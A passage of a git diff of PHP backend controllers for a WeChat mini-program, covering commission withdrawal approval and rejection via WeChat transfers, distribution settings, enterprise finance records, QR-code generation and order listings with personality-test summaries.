=> $outDetailNo, + 'transfer_amount'=> (int) $record['amountFen'], + 'transfer_remark'=> '推广佣金提现', + 'openid' => $record['openid'], + 'batch_name' => '推广佣金提现', + 'batch_remark' => '用户提现', + ]); + + if ($result['success'] !== true) { + $err = $result['error'] ?? []; + $code = $err['code'] ?? 'UNKNOWN'; + $msg = $err['message'] ?? '微信转账接口调用失败'; + return error("微信转账发起失败({$code}):{$msg}", 500); + } + + $wechatData = $result['data'] ?? []; + Db::name('distribution_withdrawals') + ->where('id', $id) + ->update([ + // 2=待收款(已发起微信转账,等待用户确认) + 'status' => 2, + 'auditNote' => $note, + 'auditAt' => $now, + 'updatedAt' => $now, + 'pay_type' => 'wechat', + 'out_bill_no' => $outDetailNo, + 'transfer_bill_no' => $wechatData['batch_id'] ?? null, + 'wechat_pay_state' => $wechatData['batch_status'] ?? 'PROCESSING', + 'transfer_scene_id'=> $wechatData['transfer_scene_id'] ?? env('TRANSFER_SCENE_ID', '1005'), + 'mch_id' => env('MCH_ID', null), + ]); + + return success(null, '审核通过,已发起微信转账'); + } catch (\Exception $e) { + return error('操作失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // POST distribution/withdrawals/:id/reject 审核拒绝 + // ───────────────────────────────────────────────────────────── + public function rejectWithdrawal(int $id) + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $note = Request::param('note', ''); + $now = time(); + + $record = Db::name('distribution_withdrawals') + ->alias('w') + ->join('wechat_users u', 'w.userId = u.id') + ->where('w.id', $id) + ->where('u.enterpriseId', $enterpriseId) + ->field('w.*') + ->find(); + // 仅允许处理审核中(status=0)的记录 + if (!$record || (int)$record['status'] !== 0) { + return error('提现申请不存在、已处理或无权限', 400); + } + + Db::startTrans(); + try { + // 退回余额 + Db::name('wechat_users') + ->where('id', $record['userId']) + ->inc('walletBalance', $record['amountFen']) + ->update(['updatedAt' => $now]); + + Db::name('distribution_withdrawals') + ->where('id', $id) + ->update([ + // 1=已驳回 + 'status' => 1, + 'auditNote' => $note, + 'auditAt' => $now, + 'updatedAt' => $now, + ]); + + Db::commit(); + return success(null, '已拒绝,余额已退回'); + } catch (\Exception $e) { + Db::rollback(); + return error('操作失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/settings 获取企业分销配置 + // ───────────────────────────────────────────────────────────── + public function settings() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + + try { + $config = Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', $enterpriseId) + ->find(); + + $tsDefault = self::defaultTestSettings(); + $default = [ + 'enabled' => true, + 'promoCenterTitle' => '推广中心', + 'bindingDays' => 30, + 'testSettings' => $tsDefault, + ]; + + if ($config && $config['value']) { + $settings = is_string($config['value']) ? json_decode($config['value'], true) : $config['value']; + $settings = array_merge($default, $settings ?? []); + } else { + $settings = $default; + } + + // 附加前端可读的 commissionAmount(元) + $settings['testSettings'] = self::appendTestSettingsAmount( + $settings['testSettings'] ?? $tsDefault + ); + + return success($settings); + } catch (\Exception $e) { + return error('获取配置失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // PUT distribution/settings 更新企业分销配置 + // ───────────────────────────────────────────────────────────── + public function updateSettings() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $settings = Request::only(['enabled', 'promoCenterTitle', 'bindingDays', 'testSettings']); + + $promoTitle = trim((string)($settings['promoCenterTitle'] ?? '')); + $toSave = [ + 'enabled' => (bool)($settings['enabled'] ?? true), + 'promoCenterTitle' => $promoTitle !== '' ? $promoTitle : '推广中心', + 'bindingDays' => (int)($settings['bindingDays'] ?? 30), + 'testSettings' => self::sanitizeTestSettings($settings['testSettings'] ?? null), + ]; + + try { + $now = time(); + $existing = Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', $enterpriseId) + ->find(); + + if ($existing) { + Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', $enterpriseId) + ->update(['value' => json_encode($toSave, JSON_UNESCAPED_UNICODE), 'updatedAt' => $now]); + } else { + Db::name('system_config')->insert([ + 'key' => 'distribution', + 'enterprise_id' => $enterpriseId, + 'value' => json_encode($toSave, JSON_UNESCAPED_UNICODE), + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + } + + $toSave['testSettings'] = self::appendTestSettingsAmount($toSave['testSettings']); + return success($toSave, '配置已保存'); + } catch (\Exception $e) { + return error('保存配置失败:' . $e->getMessage(), 500); + } + } + + private static function defaultTestSettings(): array + { + $item = ['enabled' => true, 'commissionType' => 'ratio', 'commissionRate' => 90, 'commissionAmountFen' => 0, 'noPayment' => false]; + return ['face' => $item, 'mbti' => $item, 'disc' => $item, 'pdp' => $item]; + } + + private static function sanitizeTestSettings($raw): array + { + $default = self::defaultTestSettings(); + if (!is_array($raw)) return $default; + $result = []; + foreach ($default as $type => $def) { + $s = $raw[$type] ?? []; + $commissionType = in_array($s['commissionType'] ?? '', ['ratio', 'amount']) ? $s['commissionType'] : 'ratio'; + $amountFen = isset($s['commissionAmount']) + ? (int) round((float)$s['commissionAmount'] * 100) + : (int)($s['commissionAmountFen'] ?? 0); + $rate = max(0, min(100, (int)($s['commissionRate'] ?? 90))); + $result[$type] = [ + 'enabled' => ($s['enabled'] ?? true) !== false, + 'commissionType' => $commissionType, + 'commissionRate' => $commissionType === 'ratio' ? $rate : 0, + 'commissionAmountFen'=> $commissionType === 'amount' ? max(0, $amountFen) : 0, + 'noPayment' => !empty($s['noPayment']), + ]; + } + return $result; + } + + private static function appendTestSettingsAmount(array $ts): array + { + foreach ($ts as $k => $v) { + $ts[$k]['commissionAmount'] = round(($v['commissionAmountFen'] ?? 0) / 100, 2); + } + return $ts; + } + + private static function buildProductCommissionSeries(int $enterpriseId): array + { + $records = Db::name('commission_records') + ->where('enterpriseId', $enterpriseId) + ->whereIn('status', ['paid', 'frozen']) + ->field('orderId, testResultId, commissionSource, commissionFen') + ->select() + ->toArray(); + + $orderIds = []; + $testResultIds = []; + foreach ($records as $record) { + if (!empty($record['orderId'])) { + $orderIds[] = (int) $record['orderId']; + } + if (!empty($record['testResultId'])) { + $testResultIds[] = (int) $record['testResultId']; + } + } + + $orderTypeMap = []; + if (!empty($orderIds)) { + $rows = Db::name('test_results') + ->whereIn('orderId', array_values(array_unique($orderIds))) + ->field('orderId, testType') + ->select() + ->toArray(); + foreach ($rows as $row) { + $orderTypeMap[(int) $row['orderId']] = self::normalizeTestType($row['testType'] ?? ''); + } + } + + $resultTypeMap = []; + if (!empty($testResultIds)) { + $rows = Db::name('test_results') + ->whereIn('id', array_values(array_unique($testResultIds))) + ->field('id, testType') + ->select() + ->toArray(); + foreach ($rows as $row) { + $resultTypeMap[(int) $row['id']] = self::normalizeTestType($row['testType'] ?? ''); + } + } + + $totals = [ + 'face' => 0, + 'mbti' => 0, + 'disc' => 0, + 'pdp' => 0, + 'other' => 0, + ]; + + foreach ($records as $record) { + $type = 'other'; + if (($record['commissionSource'] ?? '') === 'test_completion' && !empty($record['testResultId'])) { + $type = $resultTypeMap[(int) $record['testResultId']] ?? 'other'; + } elseif (!empty($record['orderId'])) { + $type = $orderTypeMap[(int) $record['orderId']] ?? 'other'; + } + + if (!isset($totals[$type])) { + $type = 'other'; + } + $totals[$type] += (int) ($record['commissionFen'] ?? 0); + } + + return [ + ['label' => '人脸分析', 'value' => round($totals['face'] / 100, 2)], + ['label' => 'MBTI', 'value' => round($totals['mbti'] / 100, 2)], + ['label' => 'DISC', 'value' => round($totals['disc'] / 100, 2)], + ['label' => 'PDP', 'value' => round($totals['pdp'] / 100, 2)], + ['label' => '其他', 'value' => round($totals['other'] / 100, 2)], + ]; + } + + private static function normalizeTestType(string $testType): string + { + $normalized = strtolower(trim($testType)); + if ($normalized === 'ai') { + return 'face'; + } + if (in_array($normalized, ['face', 'mbti', 'disc', 'pdp'], true)) { + return $normalized; + } + return 'other'; + } + + private static function getTestTypeLabel(string $testType): string + { + $map = [ + 'face' => '人脸', + 'mbti' => 'MBTI', + 'disc' => 'DISC', + 'pdp' => 'PDP', + 'other' => '其他', + ]; + + return $map[$testType] ?? strtoupper($testType ?: '其他'); + } +} diff --git a/api/app/controller/admin/Finance.php b/api/app/controller/admin/Finance.php index fef7d3a..7a7cdaa 100644 --- a/api/app/controller/admin/Finance.php +++ b/api/app/controller/admin/Finance.php @@ -1,204 +1,204 @@ -resolveEnterpriseId(); - if (!$enterpriseId) { - return error('未获取到企业信息', 400); - } - - try { - $enterprise = Db::name('enterprises') - ->where('id', $enterpriseId) - ->field('id, name, balance') - ->find(); - if (!$enterprise) { - return error('企业不存在', 404); - } - - $todayStart = strtotime(date('Y-m-d 00:00:00')); - $monthStart = strtotime(date('Y-m-01 00:00:00')); - - $baseOrderQuery = Db::name('orders') - ->where('enterpriseId', $enterpriseId) - ->whereIn('status', ['paid', 'completed']) - ->whereIn('productType', ['face', 'mbti', 'disc', 'pdp']); - - $totalIncomeFen = (int) ((clone $baseOrderQuery)->sum('amount') ?? 0); - $todayIncomeFen = (int) ((clone $baseOrderQuery)->where('payTime', '>=', $todayStart)->sum('amount') ?? 0); - $monthIncomeFen = (int) ((clone $baseOrderQuery)->where('payTime', '>=', $monthStart)->sum('amount') ?? 0); - $paidOrderCount = (int) ((clone $baseOrderQuery)->count()); - - $manualRechargeFen = (int) (Db::name('finance_records') - ->where('enterpriseId', $enterpriseId) - ->where('type', 'recharge') - ->whereNull('orderId') - ->sum('amount') ?? 0); - - $frozenCommissionFen = (int) (Db::name('commission_records') - ->where('enterpriseId', $enterpriseId) - ->where('status', 'frozen') - ->sum('commissionFen') ?? 0); - - return success([ - 'enterpriseId' => $enterpriseId, - 'enterpriseName' => $enterprise['name'] ?? '', - 'balanceFen' => (int) ($enterprise['balance'] ?? 0), - 'totalIncomeFen' => $totalIncomeFen, - 'todayIncomeFen' => $todayIncomeFen, - 'monthIncomeFen' => $monthIncomeFen, - 'manualRechargeFen' => $manualRechargeFen, - 'frozenCommissionFen' => $frozenCommissionFen, - 'paidOrderCount' => $paidOrderCount, - ]); - } catch (\Throwable $e) { - return error('获取企业财务概览失败:' . $e->getMessage(), 500); - } - } - - /** - * 财务流水 - */ - public function records() - { - $enterpriseId = $this->resolveEnterpriseId(); - if (!$enterpriseId) { - return error('未获取到企业信息', 400); - } - - try { - $page = max(1, (int) Request::param('page', 1)); - $pageSize = min(100, max(1, (int) Request::param('pageSize', 20))); - - $query = Db::name('finance_records') - ->where('enterpriseId', $enterpriseId) - ->order('createdAt', 'desc') - ->order('id', 'desc'); - - $total = (int) (clone $query)->count(); - $list = (clone $query) - ->page($page, $pageSize) - ->select() - ->toArray(); - - $result = array_map(function ($row) { - $type = (string) ($row['type'] ?? ''); - $orderId = isset($row['orderId']) ? (int) $row['orderId'] : 0; - $direction = $type === 'consume' ? 'out' : 'in'; - $description = (string) ($row['description'] ?? ''); - $typeLabel = $type === 'consume' - ? '佣金扣减' - : (strpos($description, '企业余额充值') !== false ? '余额充值' : ($orderId > 0 ? '测试收入' : '余额充值')); - - return [ - 'id' => (int) ($row['id'] ?? 0), - 'type' => $type, - 'typeLabel' => $typeLabel, - 'direction' => $direction, - 'amountFen' => (int) ($row['amount'] ?? 0), - 'balanceBeforeFen' => (int) ($row['balanceBefore'] ?? 0), - 'balanceAfterFen' => (int) ($row['balanceAfter'] ?? 0), - 'description' => $description, - 'orderId' => $orderId ?: null, - 'createdAt' => (int) ($row['createdAt'] ?? 0), - ]; - }, $list); - - return success([ - 'list' => $result, - 'total' => $total, - 'page' => $page, - 'pageSize' => $pageSize, - ]); - } catch (\Throwable $e) { - return error('获取财务流水失败:' . $e->getMessage(), 500); - } - } - - /** - * 企业手动充值 - */ - public function rechargeQrcode() - { - $enterpriseId = $this->resolveEnterpriseId(); - if (!$enterpriseId) { - return error('未获取到企业信息', 400); - } - - try { - $amountFen = (int) Request::param('amountFen', 0); - if ($amountFen <= 0) { - return error('充值金额必须大于 0', 400); - } - $enterprise = Db::name('enterprises') - ->where('id', $enterpriseId) - ->field('id, name') - ->find(); - if (!$enterprise) { - return error('企业不存在', 404); - } - - // scene 长度要尽量短,避免超过微信限制 - $scene = 'eid=' . $enterpriseId . '&a=' . $amountFen . '&r=1'; - $page = 'pages/recharge/index'; - $result = WechatService::getWxacodeUnlimited($scene, $page, 430); - if (isset($result['errcode'])) { - return error('获取充值小程序码失败:' . ($result['errmsg'] ?? ''), 500); - } - - $binary = $result['binary'] ?? ''; - if ($binary === '') { - return error('充值小程序码生成失败', 500); - } - - return success([ - 'enterpriseId' => $enterpriseId, - 'enterpriseName' => (string) ($enterprise['name'] ?? ''), - 'amountFen' => $amountFen, - 'amountYuan' => number_format($amountFen / 100, 2, '.', ''), - 'scene' => $scene, - 'page' => $page, - 'qrcode' => 'data:image/png;base64,' . base64_encode($binary), - ]); - } catch (\Throwable $e) { - return error('生成充值二维码失败:' . $e->getMessage(), 500); - } - } - - /** - * 解析当前管理账号所属企业 - */ - protected function resolveEnterpriseId(): ?int - { - $user = $this->request->user ?? null; - if (!$user || !in_array($user['role'] ?? '', ['admin', 'enterprise_admin'], true)) { - return null; - } - - $enterpriseId = (int) ($user['enterpriseId'] ?? 0); - if ($enterpriseId > 0) { - return $enterpriseId; - } - - $adminId = (int) ($user['userId'] ?? 0); - if ($adminId <= 0) { - return null; - } - - return (int) (Db::name('users')->where('id', $adminId)->value('enterpriseId') ?? 0) ?: null; - } -} +resolveEnterpriseId(); + if (!$enterpriseId) { + return error('未获取到企业信息', 400); + } + + try { + $enterprise = Db::name('enterprises') + ->where('id', $enterpriseId) + ->field('id, name, balance') + ->find(); + if (!$enterprise) { + return error('企业不存在', 404); + } + + $todayStart = strtotime(date('Y-m-d 00:00:00')); + $monthStart = strtotime(date('Y-m-01 00:00:00')); + + $baseOrderQuery = Db::name('orders') + ->where('enterpriseId', $enterpriseId) + ->whereIn('status', ['paid', 'completed']) + ->whereIn('productType', ['face', 'mbti', 'disc', 'pdp']); + + $totalIncomeFen = (int) ((clone $baseOrderQuery)->sum('amount') ?? 0); + $todayIncomeFen = (int) ((clone $baseOrderQuery)->where('payTime', '>=', $todayStart)->sum('amount') ?? 0); + $monthIncomeFen = (int) ((clone $baseOrderQuery)->where('payTime', '>=', $monthStart)->sum('amount') ?? 0); + $paidOrderCount = (int) ((clone $baseOrderQuery)->count()); + + $manualRechargeFen = (int) (Db::name('finance_records') + ->where('enterpriseId', $enterpriseId) + ->where('type', 'recharge') + ->whereNull('orderId') + ->sum('amount') ?? 0); + + $frozenCommissionFen = (int) (Db::name('commission_records') + ->where('enterpriseId', $enterpriseId) + ->where('status', 'frozen') + ->sum('commissionFen') ?? 0); + + return success([ + 'enterpriseId' => $enterpriseId, + 'enterpriseName' => $enterprise['name'] ?? '', + 'balanceFen' => (int) ($enterprise['balance'] ?? 0), + 'totalIncomeFen' => $totalIncomeFen, + 'todayIncomeFen' => $todayIncomeFen, + 'monthIncomeFen' => $monthIncomeFen, + 'manualRechargeFen' => $manualRechargeFen, + 'frozenCommissionFen' => $frozenCommissionFen, + 'paidOrderCount' => $paidOrderCount, + ]); + } catch (\Throwable $e) { + return error('获取企业财务概览失败:' . $e->getMessage(), 500); + } + } + + /** + * 财务流水 + */ + public function records() + { + $enterpriseId = $this->resolveEnterpriseId(); + if (!$enterpriseId) { + return error('未获取到企业信息', 400); + } + + try { + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, max(1, (int) Request::param('pageSize', 20))); + + $query = Db::name('finance_records') + ->where('enterpriseId', $enterpriseId) + ->order('createdAt', 'desc') + ->order('id', 'desc'); + + $total = (int) (clone $query)->count(); + $list = (clone $query) + ->page($page, $pageSize) + ->select() + ->toArray(); + + $result = array_map(function ($row) { + $type = (string) ($row['type'] ?? ''); + $orderId = isset($row['orderId']) ? (int) $row['orderId'] : 0; + $direction = $type === 'consume' ? 'out' : 'in'; + $description = (string) ($row['description'] ?? ''); + $typeLabel = $type === 'consume' + ? '佣金扣减' + : (strpos($description, '企业余额充值') !== false ? '余额充值' : ($orderId > 0 ? '测试收入' : '余额充值')); + + return [ + 'id' => (int) ($row['id'] ?? 0), + 'type' => $type, + 'typeLabel' => $typeLabel, + 'direction' => $direction, + 'amountFen' => (int) ($row['amount'] ?? 0), + 'balanceBeforeFen' => (int) ($row['balanceBefore'] ?? 0), + 'balanceAfterFen' => (int) ($row['balanceAfter'] ?? 0), + 'description' => $description, + 'orderId' => $orderId ?: null, + 'createdAt' => (int) ($row['createdAt'] ?? 0), + ]; + }, $list); + + return success([ + 'list' => $result, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize, + ]); + } catch (\Throwable $e) { + return error('获取财务流水失败:' . $e->getMessage(), 500); + } + } + + /** + * 企业手动充值 + */ + public function rechargeQrcode() + { + $enterpriseId = $this->resolveEnterpriseId(); + if (!$enterpriseId) { + return error('未获取到企业信息', 400); + } + + try { + $amountFen = (int) Request::param('amountFen', 0); + if ($amountFen <= 0) { + return error('充值金额必须大于 0', 400); + } + $enterprise = Db::name('enterprises') + ->where('id', $enterpriseId) + ->field('id, name') + ->find(); + if (!$enterprise) { + return error('企业不存在', 404); + } + + // scene 长度要尽量短,避免超过微信限制 + $scene = 'eid=' . $enterpriseId . '&a=' . $amountFen . '&r=1'; + $page = 'pages/recharge/index'; + $result = WechatService::getWxacodeUnlimited($scene, $page, 430); + if (isset($result['errcode'])) { + return error('获取充值小程序码失败:' . ($result['errmsg'] ?? ''), 500); + } + + $binary = $result['binary'] ?? ''; + if ($binary === '') { + return error('充值小程序码生成失败', 500); + } + + return success([ + 'enterpriseId' => $enterpriseId, + 'enterpriseName' => (string) ($enterprise['name'] ?? ''), + 'amountFen' => $amountFen, + 'amountYuan' => number_format($amountFen / 100, 2, '.', ''), + 'scene' => $scene, + 'page' => $page, + 'qrcode' => 'data:image/png;base64,' . base64_encode($binary), + ]); + } catch (\Throwable $e) { + return error('生成充值二维码失败:' . $e->getMessage(), 500); + } + } + + /** + * 解析当前管理账号所属企业 + */ + protected function resolveEnterpriseId(): ?int + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'] ?? '', ['admin', 'enterprise_admin'], true)) { + return null; + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + if ($enterpriseId > 0) { + return $enterpriseId; + } + + $adminId = (int) ($user['userId'] ?? 0); + if ($adminId <= 0) { + return null; + } + + return (int) (Db::name('users')->where('id', $adminId)->value('enterpriseId') ?? 0) ?: null; + } +} diff --git a/api/app/controller/admin/Invite.php b/api/app/controller/admin/Invite.php index cebb80a..537d059 100644 --- a/api/app/controller/admin/Invite.php +++ b/api/app/controller/admin/Invite.php @@ -1,64 +1,64 @@ -request->user ?? null; - if (!$admin || !in_array($admin['role'] ?? '', ['admin', 'enterprise_admin'])) { - return error('无权限访问', 403); - } - - $enterpriseId = null; - if (($admin['role'] ?? '') === 'enterprise_admin') { - $row = Db::name('users')->where('id', (int) ($admin['userId'] ?? 0))->find(); - $enterpriseId = isset($row['enterpriseId']) ? (int) $row['enterpriseId'] : null; - } else { - $enterpriseId = (int) $this->request->param('enterpriseId', 0); - if ($enterpriseId <= 0) { - return error('请指定企业(企业管理员无需传参,使用所属企业)', 400); - } - } - if ($enterpriseId <= 0) { - return error('无法确定企业,仅企业管理员或指定 enterpriseId 可生成邀请码', 400); - } - - // 场景值:e_企业ID,小程序 onLoad(options.scene) 可解析 - $scene = 'e_' . $enterpriseId; - $page = 'pages/enterprise/index'; - - $result = WechatService::getWxacodeUnlimited($scene, $page, 430); - if (isset($result['errcode'])) { - return error('获取小程序码失败:' . ($result['errmsg'] ?? ''), 500); - } - - $binary = $result['binary'] ?? ''; - if ($binary === '') { - return error('小程序码生成失败', 500); - } - - $base64 = 'data:image/png;base64,' . base64_encode($binary); - - return success([ - 'qrcode' => $base64, - 'scene' => $scene, - 'page' => $page, - ]); - } -} - +request->user ?? null; + if (!$admin || !in_array($admin['role'] ?? '', ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $enterpriseId = null; + if (($admin['role'] ?? '') === 'enterprise_admin') { + $row = Db::name('users')->where('id', (int) ($admin['userId'] ?? 0))->find(); + $enterpriseId = isset($row['enterpriseId']) ? (int) $row['enterpriseId'] : null; + } else { + $enterpriseId = (int) $this->request->param('enterpriseId', 0); + if ($enterpriseId <= 0) { + return error('请指定企业(企业管理员无需传参,使用所属企业)', 400); + } + } + if ($enterpriseId <= 0) { + return error('无法确定企业,仅企业管理员或指定 enterpriseId 可生成邀请码', 400); + } + + // 场景值:e_企业ID,小程序 onLoad(options.scene) 可解析 + $scene = 'e_' . $enterpriseId; + $page = 'pages/enterprise/index'; + + $result = WechatService::getWxacodeUnlimited($scene, $page, 430); + if (isset($result['errcode'])) { + return error('获取小程序码失败:' . ($result['errmsg'] ?? ''), 500); + } + + $binary = $result['binary'] ?? ''; + if ($binary === '') { + return error('小程序码生成失败', 500); + } + + $base64 = 'data:image/png;base64,' . base64_encode($binary); + + return success([ + 'qrcode' => $base64, + 'scene' => $scene, + 'page' => $page, + ]); + } +} + diff --git a/api/app/controller/admin/Order.php b/api/app/controller/admin/Order.php index 69347eb..38535ba 100644 --- a/api/app/controller/admin/Order.php +++ b/api/app/controller/admin/Order.php @@ -1,168 +1,168 @@ -request->user ?? null; - if (!$user) { - return error('未登录', 401); - } - if (!in_array($user['role'] ?? '', ['admin', 'enterprise_admin'])) { - return error('无权限访问', 403); - } - - $page = (int) Request::param('page', 1); - $pageSize = (int) Request::param('pageSize', 20); - $pageSize = min(max($pageSize, 1), 100); - $keyword = trim(Request::param('keyword', '')); - $status = trim(Request::param('status', '')); - $productType = trim(Request::param('productType', '')); - - // admin / enterprise_admin 均只能看本企业订单 - $enterpriseId = $user['enterpriseId'] ?? null; - if (!$enterpriseId) { - $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); - $enterpriseId = $adminRow['enterpriseId'] ?? null; - } - - $query = Db::name('orders'); - - if ($enterpriseId !== null) { - $query->where('enterpriseId', $enterpriseId); - } - if ($status !== '') { - $query->where('status', $status); - } - if ($productType !== '') { - $query->where('productType', $productType); - } - if ($keyword !== '') { - if (is_numeric($keyword)) { - $query->where(function ($q) use ($keyword) { - $q->whereLike('orderNo', '%' . $keyword . '%')->whereOr('userId', (int) $keyword); - }); - } else { - $userIdsMatch = Db::name('wechat_users')->where('nickname|phone', 'like', '%' . $keyword . '%')->column('id'); - $userIdsMatch = array_values(array_filter($userIdsMatch)); - $query->where(function ($q) use ($keyword, $userIdsMatch) { - $q->whereLike('orderNo', '%' . $keyword . '%'); - if (!empty($userIdsMatch)) { - $q->whereOr('userId', 'in', $userIdsMatch); - } - }); - } - } - - $query->order('createdAt', 'desc'); - $total = (int) (clone $query)->count(); - $list = (clone $query)->page($page, $pageSize)->select()->toArray(); - - $userIds = array_values(array_unique(array_filter(array_column($list, 'userId')))); - $usersMap = []; - if (!empty($userIds)) { - $users = Db::name('wechat_users') - ->where('id', 'in', $userIds) - ->field('id, nickname, phone') - ->select() - ->toArray(); - foreach ($users as $u) { - $usersMap[(int) $u['id']] = $u; - } - } - - $orderIds = array_column($list, 'id'); - $testsByOrder = []; - if (!empty($orderIds)) { - $tests = Db::name('test_results') - ->where('orderId', 'in', $orderIds) - ->field('id, orderId, userId, testType, resultData, createdAt') - ->order('createdAt', 'desc') - ->select() - ->toArray(); - foreach ($tests as $t) { - $oid = (int) ($t['orderId'] ?? 0); - if ($oid <= 0) { - continue; - } - if (!isset($testsByOrder[$oid])) { - $testsByOrder[$oid] = []; - } - $raw = $t['resultData'] ?? ''; - $resultStr = is_string($raw) ? $raw : json_encode($raw, JSON_UNESCAPED_UNICODE); - $testsByOrder[$oid][] = [ - 'id' => (int) $t['id'], - 'testType' => $t['testType'] ?? '', - 'resultSummary' => $this->extractResultSummary($t['testType'] ?? '', $resultStr), - 'createdAt' => isset($t['createdAt']) ? (int) $t['createdAt'] : null, - ]; - } - } - - foreach ($list as &$row) { - $uid = (int) ($row['userId'] ?? 0); - $u = $usersMap[$uid] ?? null; - $row['userName'] = $u ? ($u['nickname'] ?? ('用户' . $uid)) : ('用户' . $uid); - $row['userPhone'] = $u ? ($u['phone'] ?? '') : ''; - $row['testData'] = $testsByOrder[$row['id']] ?? []; - } - - return paginate_response($list, $total, $page, $pageSize); - } - - /** - * 从 resultData 字符串中提取简要结果(用于列表展示) - */ - private function extractResultSummary(string $testType, string $resultStr): string - { - if ($resultStr === '') { - return '-'; - } - $data = json_decode($resultStr, true); - if (!is_array($data)) { - return mb_substr($resultStr, 0, 30) . (mb_strlen($resultStr) > 30 ? '…' : ''); - } - $type = strtolower($testType); - - if ($type === 'mbti') { - return (string) ($data['mbtiType'] ?? $data['type'] ?? $data['result'] ?? ''); - } - if ($type === 'disc') { - $desc = $data['description']['type'] ?? null; - if (is_string($desc) && $desc !== '') { - return $desc; - } - if (!empty($data['dominantType'])) { - return (string) $data['dominantType'] . '型'; - } - return (string) ($data['disc'] ?? ''); - } - if ($type === 'pdp') { - $desc = $data['description']['type'] ?? null; - if (is_string($desc) && $desc !== '') { - return $desc; - } - if (!empty($data['dominantType'])) { - return (string) $data['dominantType']; - } - return (string) ($data['pdp'] ?? ''); - } - if ($type === 'face' || $type === 'ai') { - return '人脸分析'; - } - - return (string) ($data['type'] ?? $data['result'] ?? ''); - } -} +request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (!in_array($user['role'] ?? '', ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $page = (int) Request::param('page', 1); + $pageSize = (int) Request::param('pageSize', 20); + $pageSize = min(max($pageSize, 1), 100); + $keyword = trim(Request::param('keyword', '')); + $status = trim(Request::param('status', '')); + $productType = trim(Request::param('productType', '')); + + // admin / enterprise_admin 均只能看本企业订单 + $enterpriseId = $user['enterpriseId'] ?? null; + if (!$enterpriseId) { + $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); + $enterpriseId = $adminRow['enterpriseId'] ?? null; + } + + $query = Db::name('orders'); + + if ($enterpriseId !== null) { + $query->where('enterpriseId', $enterpriseId); + } + if ($status !== '') { + $query->where('status', $status); + } + if ($productType !== '') { + $query->where('productType', $productType); + } + if ($keyword !== '') { + if (is_numeric($keyword)) { + $query->where(function ($q) use ($keyword) { + $q->whereLike('orderNo', '%' . $keyword . '%')->whereOr('userId', (int) $keyword); + }); + } else { + $userIdsMatch = Db::name('wechat_users')->where('nickname|phone', 'like', '%' . $keyword . '%')->column('id'); + $userIdsMatch = array_values(array_filter($userIdsMatch)); + $query->where(function ($q) use ($keyword, $userIdsMatch) { + $q->whereLike('orderNo', '%' . $keyword . '%'); + if (!empty($userIdsMatch)) { + $q->whereOr('userId', 'in', $userIdsMatch); + } + }); + } + } + + $query->order('createdAt', 'desc'); + $total = (int) (clone $query)->count(); + $list = (clone $query)->page($page, $pageSize)->select()->toArray(); + + $userIds = array_values(array_unique(array_filter(array_column($list, 'userId')))); + $usersMap = []; + if (!empty($userIds)) { + $users = Db::name('wechat_users') + ->where('id', 'in', $userIds) + ->field('id, nickname, phone') + ->select() + ->toArray(); + foreach ($users as $u) { + $usersMap[(int) $u['id']] = $u; + } + } + + $orderIds = array_column($list, 'id'); + $testsByOrder = []; + if (!empty($orderIds)) { + $tests = Db::name('test_results') + ->where('orderId', 'in', $orderIds) + ->field('id, orderId, userId, testType, resultData, createdAt') + ->order('createdAt', 'desc') + ->select() + ->toArray(); + foreach ($tests as $t) { + $oid = (int) ($t['orderId'] ?? 0); + if ($oid <= 0) { + continue; + } + if (!isset($testsByOrder[$oid])) { + $testsByOrder[$oid] = []; + } + $raw = $t['resultData'] ?? ''; + $resultStr = is_string($raw) ? $raw : json_encode($raw, JSON_UNESCAPED_UNICODE); + $testsByOrder[$oid][] = [ + 'id' => (int) $t['id'], + 'testType' => $t['testType'] ?? '', + 'resultSummary' => $this->extractResultSummary($t['testType'] ?? '', $resultStr), + 'createdAt' => isset($t['createdAt']) ? (int) $t['createdAt'] : null, + ]; + } + } + + foreach ($list as &$row) { + $uid = (int) ($row['userId'] ?? 0); + $u = $usersMap[$uid] ?? null; + $row['userName'] = $u ? ($u['nickname'] ?? ('用户' . $uid)) : ('用户' . $uid); + $row['userPhone'] = $u ? ($u['phone'] ?? '') : ''; + $row['testData'] = $testsByOrder[$row['id']] ?? []; + } + + return paginate_response($list, $total, $page, $pageSize); + } + + /** + * 从 resultData 字符串中提取简要结果(用于列表展示) + */ + private function extractResultSummary(string $testType, string $resultStr): string + { + if ($resultStr === '') { + return '-'; + } + $data = json_decode($resultStr, true); + if (!is_array($data)) { + return mb_substr($resultStr, 0, 30) . (mb_strlen($resultStr) > 30 ? '…' : ''); + } + $type = strtolower($testType); + + if ($type === 'mbti') { + return (string) ($data['mbtiType'] ?? $data['type'] ?? $data['result'] ?? ''); + } + if ($type === 'disc') { + $desc = $data['description']['type'] ?? null; + if (is_string($desc) && $desc !== '') { + return $desc; + } + if (!empty($data['dominantType'])) { + return (string) $data['dominantType'] . '型'; + } + return (string) ($data['disc'] ?? ''); + } + if ($type === 'pdp') { + $desc = $data['description']['type'] ?? null; + if (is_string($desc) && $desc !== '') { + return $desc; + } + if (!empty($data['dominantType'])) { + return (string) $data['dominantType']; + } + 